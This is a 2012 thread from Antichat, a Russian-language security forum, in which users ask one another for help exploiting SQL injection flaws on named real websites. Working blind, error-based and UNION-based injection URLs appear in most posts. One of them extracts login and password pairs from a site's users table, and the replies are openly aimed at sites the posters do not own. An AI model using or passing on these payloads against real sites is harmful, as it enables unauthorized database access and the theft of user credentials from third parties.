HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #20161  
Старый 23.03.2012, 16:07
iProtoss
Guest
Сообщений: n/a
Провел на форуме:
379

Репутация: 0
По умолчанию

*okay.jpg*

сайт в локалке, зеркала в интернеты вроде бы нету(

http://test/continue_testing/?action=3&session=2825&answer=12&question=1

ERROR: DB Error: no such table

ERROR: DB Error: no such table

Невозможно выполнить вставку в таблицу результатов

INSERT INTO results_temp (session_id, quest_id, ans_id, start_time)

SELECT 2825, tq.quest_id, ta.id, '2012-03-23 12:55:38'

FROM tmp_answers_2825 as ta, tmp_quest_2825 as tq

WHERE tq.virtual_id=1 AND ta.virtual_id=12

2825 - номер сессии берется из адресной строки - и записывается во все места в запросе - 2825, tmp_answers_2825, p_quest_2825

номер сессии, при которой запрос выполнится тоже известен - 28275

tq.virtual_id=1 и ta.virtual_id=12 - тоже берется гетом

возможность просмотреть результат вывода точно есть по ячейке start_time

проверки входных данных нету (&question=1 AND 1=1 и в таком стиле выполняются)

есть идеи?
 
Ответить с цитированием

  #20162  
Старый 23.03.2012, 19:02
qaz
Guest
Сообщений: n/a
Провел на форуме:
344922

Репутация: 75
По умолчанию

помогите разкрутить, чёт невыходит

http://www.fanfics.ru/read.php?id=3&chapter=-616%27
 
Ответить с цитированием

  #20163  
Старый 23.03.2012, 20:16
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
помогите разкрутить, чёт невыходит
http://www.fanfics.ru/read.php?id=3&chapter=-616%27
Как один из вариантов (Blind):

http://www.fanfics.ru/read.php?id=45564&chapter=0'and(substring(version( ),1,1)=5)and'1 - TRUE

http://www.fanfics.ru/read.php?id=45564&chapter=0'and(substring(version( ),1,1)=4)and'1 - FALSE

Ну и ErrorBased можно:

http://www.fanfics.ru/read.php?id=45564&chapter=0'and(extractvalue(1,con cat(0x3a,version())))and'

Справа видим:

Цитата:
Сообщение от None  
SotMarketERROR: 1105 - XPATH syntax error: ':
5.1.45'
 
Ответить с цитированием

  #20164  
Старый 23.03.2012, 21:18
qaz
Guest
Сообщений: n/a
Провел на форуме:
344922

Репутация: 75
По умолчанию

Цитата:
Сообщение от None  
http://www.zoo-friend.ru/?m=292&action=show_item&id=-3020%27+or+1+group+by+%28select+1+from%28select+co unt%28*%29,concat%28%28select+concat_ws%280x3a,log in,password%29+from+users+limit+0,1%29,0x00,floor% 28rand%280%29*2%29%29x+from+information_schema.tab les+group+by+x%29a%29+or+1--+
выводит Subquery returns more than 1 row

как сделать чтобы вывело данные?
 
Ответить с цитированием

  #20165  
Старый 23.03.2012, 23:10
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
выводит Subquery returns more than 1 row
как сделать чтобы вывело данные?
А зачем?

Там можно без ErrorBased обойтись.

http://www.zoo-friend.ru/?m=292&action=show_item&id=3020'+and+user()=databa se()+union+select+1,2,3,4,5,6,7,version(),9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%20a
 
Ответить с цитированием

  #20166  
Старый 24.03.2012, 17:42
Facecontrol
Guest
Сообщений: n/a
Провел на форуме:
13805

Репутация: 0
По умолчанию

Покажите пожалуйста сайт для примера на котором есть слепая sql-inj и выведите информпцию к примеру version.Это мне для треннировки надо,чтоб я понял.
 
Ответить с цитированием

  #20167  
Старый 24.03.2012, 20:30
qaz
Guest
Сообщений: n/a
Провел на форуме:
344922

Репутация: 75
По умолчанию

народ, подскажите, тут можно както чёнибуть вывести?

http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
 
Ответить с цитированием

  #20168  
Старый 24.03.2012, 20:35
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
народ, подскажите, тут можно както чёнибуть вывести?
http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
Можешь использовать как блинд.
 
Ответить с цитированием

  #20169  
Старый 24.03.2012, 21:18
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
народ, подскажите, тут можно както чёнибуть вывести?
http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
http://venec.ulstu.ru/lib/go.php?id=2151-9999999.9+union+select+1,2,3,4,5,6,7,8,9,12313212, 11,12,13,14,15,16,17,18,19,20,21,22--+

Только не вывел ничего(
 
Ответить с цитированием

  #20170  
Старый 24.03.2012, 21:27
qaz
Guest
Сообщений: n/a
Провел на форуме:
344922

Репутация: 75
По умолчанию

блин,

а тут http://www.jewish.donetsk.ua/stat.php?topic=news&page=74&id=1404+limit+0,0+unio n+select+1,2,3,4,table_name,6,7,8,9,10,11+from+inf ormation_schema.tables--+

чего таблици не выводит?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ